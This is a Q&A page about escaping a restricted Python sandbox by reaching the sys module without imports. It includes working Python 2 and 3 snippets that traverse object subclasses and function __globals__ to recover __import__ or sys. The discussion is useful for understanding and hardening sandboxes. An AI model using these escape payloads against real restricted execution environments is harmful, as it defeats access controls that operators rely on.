Search code examples
pythonsandboxexploit

Access module 'sys' without using import machinery


Sandboxing Python code is notoriously difficult due to the power of the reflection facilities built into the language. At a minimum one has to take away the import mechanism and most of the built-in functions and global variables, and even then there are holes ({}.__class__.__base__.__subclasses__(), for instance).

In both Python 2 and 3, the 'sys' module is built into the interpreter and preloaded before user code begins to execute (even in -S mode). If you can get a handle to the sys module, then you have access to the global list of loaded modules (sys.modules) which enables you to do all sorts of naughty things.

So, the question: Starting from an empty module, without using the import machinery at all (no import statement, no __import__, no imp library, etc), and also without using anything normally found in __builtins__ unless you can get a handle to it some other way, is it possible to acquire a reference to either sys or sys.modules? (Each points to the other.) Am interested in both 2.x and 3.x answers.


Solution

  • __builtins__ can usually be recovered, giving you a path back to __import__ and thus to any module.

    For Python 3 this comment from eryksun works, for example:

    >>> f = [t for t in ().__class__.__base__.__subclasses__() 
    ...      if t.__name__ == 'Sized'][0].__len__
    >>> f.__globals__['__builtins__']['__import__']('sys')
    <module 'sys' (built-in)>
    

    In Python 2, you just look for a different object:

    >>> f = [t for t in ().__class__.__base__.__subclasses__()
    ...      if t.__name__ == 'catch_warnings'][0].__exit__.__func__
    >>> f.__globals__['__builtins__']['__import__']('sys')
    <module 'sys' (built-in)>
    

    Either method looks for subclasses of a built-in type you can create with literal syntax (here a tuple), then referencing a function object on that subclass. Function objects have a __globals__ dictionary reference, which will give you the __builtins__ object back.

    Note that you can't just say no __import__ because it is part of __builtins__ anyway.

    However, many of those __globals__ objects are bound to have sys present already. Searching for a sys module on Python 3, for example, gives me access to one in a flash:

    >>> next(getattr(c, f).__globals__['sys']
    ...      for c in ().__class__.__base__.__subclasses__()
    ...      for f in dir(c)
    ...      if isinstance(getattr(c, f, None), type(lambda: None)) and
    ...         'sys' in getattr(c, f).__globals__)
    <module 'sys' (built-in)>
    

    The Python 2 version only need to unwrap the unbound methods you find on classes to get the same results:

    >>> next(getattr(c, f).__func__.__globals__['sys']
    ...      for c in ().__class__.__base__.__subclasses__()
    ...      for f in dir(c)
    ...      if isinstance(getattr(c, f, None), type((lambda: 0).__get__(0))) and
    ...         'sys' in getattr(c, f).__func__.__globals__)
    <module 'sys' (built-in)>